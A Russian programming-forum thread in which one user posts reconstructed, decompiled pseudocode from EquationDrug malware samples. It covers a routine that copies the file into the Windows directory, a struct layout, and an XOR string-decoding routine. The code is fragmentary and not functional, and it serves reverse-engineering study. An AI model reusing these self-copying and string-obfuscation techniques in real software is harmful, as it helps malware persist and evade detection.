Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > C/C++ программирование > Общие вопросы C/C++
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 25.02.2015, 10:08   #11
challengerr
Участник клуба
 
Аватар для challengerr
 
Регистрация: 30.07.2008
Сообщений: 1,601
По умолчанию

Копирование в системную директорию (EquationDrug)

Код:
void sub_4024C0(char *lpExistingFileName)
{

var_24=0;
hFile=0;
nNumberOfBytesToWrite=0;
lpBuffer=0;
var_4=0;
sub_403270();
MoveFileExA(lpExistingFileName, 0, 4);
var_154[0]=0x60;
var_154[1]=0x4B;
var_154[2]=0x55;
var_154[3]=0x52;
var_150=0x55;
var_14F=0x52;
var_14E=0x55;
var_14D=0x48;
var_14C=0x12;
var_14B=0x55;
var_14A=0x52;
var_149=0x55;
var_148=0x0;
Buffer[0]=0x67;
Buffer[1]=0x4E;
Buffer[2]=0x59;
Buffer[3]=0x52;
var_34=0x5D;
var_33=0x51;
var_32=0x59;
var_31=0x61;
var_30=0x0;
sub_401070(&var_154);
sub_401070(&Buffer);
memset(&FileName, 0, 0x105);
var_144 = GetWindowsDirectoryA(&FileName, 0x104);
strlen(&var_154);
memcpy(&FileName, var_144, var_154);
hFile = CreateFileA(&FileName, 0x80000000, 1,0,3,0x80,0);
hFile = CreateFileA(&FileName,  0x40000000, 2, 0, 1, 0x80, 0);
sub_4028F0(hFile, Buffer, lpExistingFileName, FileName
var_24 = 1;
nNumberOfBytesToWrite = GetFileSize(hFile, &FileSizeHigh);
LocalAlloc(0x40, nNumberOfBytesToWrite+1);
ReadFile(hFile, lpBuffer, nNumberOfBytesToWrite, &NumberOfBytesWritten);
CloseHandle(hObject);
hFile = 0;
hFile = CreateFileA(FileName, 0x40000000, 2,0,3,0x80, 0);
strstr(lpBuffer, &Buffer);
WriteFile(hFile, lpBuffer, nNumberOfBytesToWrite, &NumberOfBytesWritten, 0);
sub_4028F0(hFile, &Buffer, lpExistingFileName, &FileName);
WriteFile (hFile, lpBuffer, var_15C - lpBuffer, &NumberOfBytesWritten, 0);
sub_4028F0(hFile, &Buffer, lpExistingFileName, &FileName);
WriteFile(hFile, var_15C, &Buffer, strlen(&Buffer), &Buffer, &NumberOfBytesWritten, 0);
CloseHandle(hObject);
LocalFree(hMem);

}
"SPACE.THE FINAL FRONTIER.This's a voyage of starship Enterprise. It's 5-year mission to explore strange new worlds,to seek out new life and civilizations,to boldly go where no man has gone before"
challengerr вне форума Ответить с цитированием
Старый 27.02.2015, 12:16   #12
challengerr
Участник клуба
 
Аватар для challengerr
 
Регистрация: 30.07.2008
Сообщений: 1,601
По умолчанию

Оказывается, это не функции, а конструкторы классов. Исполняемые файлы скачаны с kernelmode.info

Код:
struct sub_4024C0
{
DWORD var_15C;//= dword ptr -15Ch
DWORD FileSizeHigh;//= dword ptr	-158h
unsigned char var_154[4];//= byte ptr -154h
BYTE var_150;//= byte ptr -150h
BYTE var_14F;//= byte ptr -14Fh
BYTE var_14E;//= byte ptr -14Eh
BYTE var_14D;//= byte ptr -14Dh
BYTE var_14C;//= byte ptr -14Ch
BYTE var_14B;//= byte ptr -14Bh
BYTE var_14A;//= byte ptr -14Ah
BYTE var_149;//= byte ptr -149h
DWORD var_148;//= byte ptr -148h
DWORD var_144;//= dword ptr -144h
char* FileName;//= byte ptr -140h
unsigned char  Buffer[4];//=	byte ptr -38h
BYTE var_34;//=	byte ptr -34h
BYTE var_33;//=	byte ptr -33h
BYTE var_32;//=	byte ptr -32h
BYTE var_31;//=	byte ptr -31h
DWORD var_30;//=	byte ptr -30h
DWORD lpBuffer;//= dword	ptr -2Ch
DWORD nNumberOfBytesToWrite;//= dword ptr -28h
DWORD var_24;//=	dword ptr -24h
DWORD NumberOfBytesWritten;//= dword ptr	-20h
DWORD hFile;//= dword ptr -1Ch
struct v10 var_10;//=	dword ptr -10h
DWORD var_4;

sub_4024C0(char *lpExistingFileName) {}
};
"SPACE.THE FINAL FRONTIER.This's a voyage of starship Enterprise. It's 5-year mission to explore strange new worlds,to seek out new life and civilizations,to boldly go where no man has gone before"
challengerr вне форума Ответить с цитированием
Старый 28.02.2015, 05:16   #13
challengerr
Участник клуба
 
Аватар для challengerr
 
Регистрация: 30.07.2008
Сообщений: 1,601
По умолчанию

XOR используется для распаковки строк. XOR осуществляет примитивное шифрование.

Код:
// распаковка строк
void sub_401000( char* arg_0, int arg_4) 
{
int var_4 =  strlen(arg_0);
int var_8;
for ( var_8 = 0; var_8 < var_4; var_8++)
{
printf("%c", *(arg_0+var_8));
*(arg_0+var_8) ^= arg_4;
}
printf("\t", var_4);
for ( var_8 = 0; var_8 < var_4; var_8++)
{
printf("%c", *(arg_0+var_8));
}
printf(" %d\n", var_4);
}

void sub_401050( char*  arg_0) { sub_401000(arg_0, 0x7f); }

struct cmain
{
char var_1A4[4];
char ProcName[4];
char var_70[4];
char var_5C[5];
char var_50[5];
char var_44[4];
char LibFileName[4];
char var_2C[5];

cmain()
{
var_44[0] = 0x8;var_44[1] = 0x16; var_44[2] = 0x11; var_44[3] = 0; //win 
var_5C[0]=0x32;var_5C[1]=0x16; var_5C[2]=0x1C; var_5C[3]=0x0D; var_5C[4]=0; // Micr
var_2C[0]=0x32;var_2C[1]=0x11; var_2C[2]=0x0B; var_2C[3]=0x1A; var_2C[4]=0; // Mnte
LibFileName[0]=0x0C;  LibFileName[1]=0x17; LibFileName[2]=0x1A; LibFileName[3]=0; //she
ProcName[0]=0x2C;ProcName[1]=0x37;ProcName[2]=0x38;ProcName[3]=0; // SHG
var_50[0]=0x5A; var_50[1]=0x0C; var_50[2]=0x23; var_50[3]=0x5A; var_50[4]=0; // %s\%
var_70[0]=0x5A;var_70[1]=0x0C; var_70[2]=0x23; var_70[3]=0; //%s/
var_1A4[0]=0x5A;var_1A4[1] = 0x0C; var_1A4[2] = 0x23; var_1A4[3] = 0;

sub_401050(var_44);
sub_401050(var_5C);
sub_401050(var_2C);
sub_401050(LibFileName);
sub_401050(ProcName);
sub_401050(var_50);
sub_401050(var_70);
sub_401050(var_1A4);
}
};
"SPACE.THE FINAL FRONTIER.This's a voyage of starship Enterprise. It's 5-year mission to explore strange new worlds,to seek out new life and civilizations,to boldly go where no man has gone before"

Последний раз редактировалось challengerr; 28.02.2015 в 05:19.
challengerr вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Опрос для магистерского исследования Mikhail87 Помощь студентам 11 12.02.2015 07:50
Декомпилирование приложения koljsch Свободное общение 37 26.07.2014 10:33
Удаление руткитов RPG-MARKET Общие вопросы C/C++ 8 04.08.2011 09:13
Декомпилирование HEX кода Drocr Assembler - Ассемблер (FASM, MASM, WASM, NASM, GoASM, Gas, RosAsm, HLA) и не рекомендуем TASM 0 16.12.2010 17:44
Исследования Операции Европеец Помощь студентам 1 09.07.2009 04:41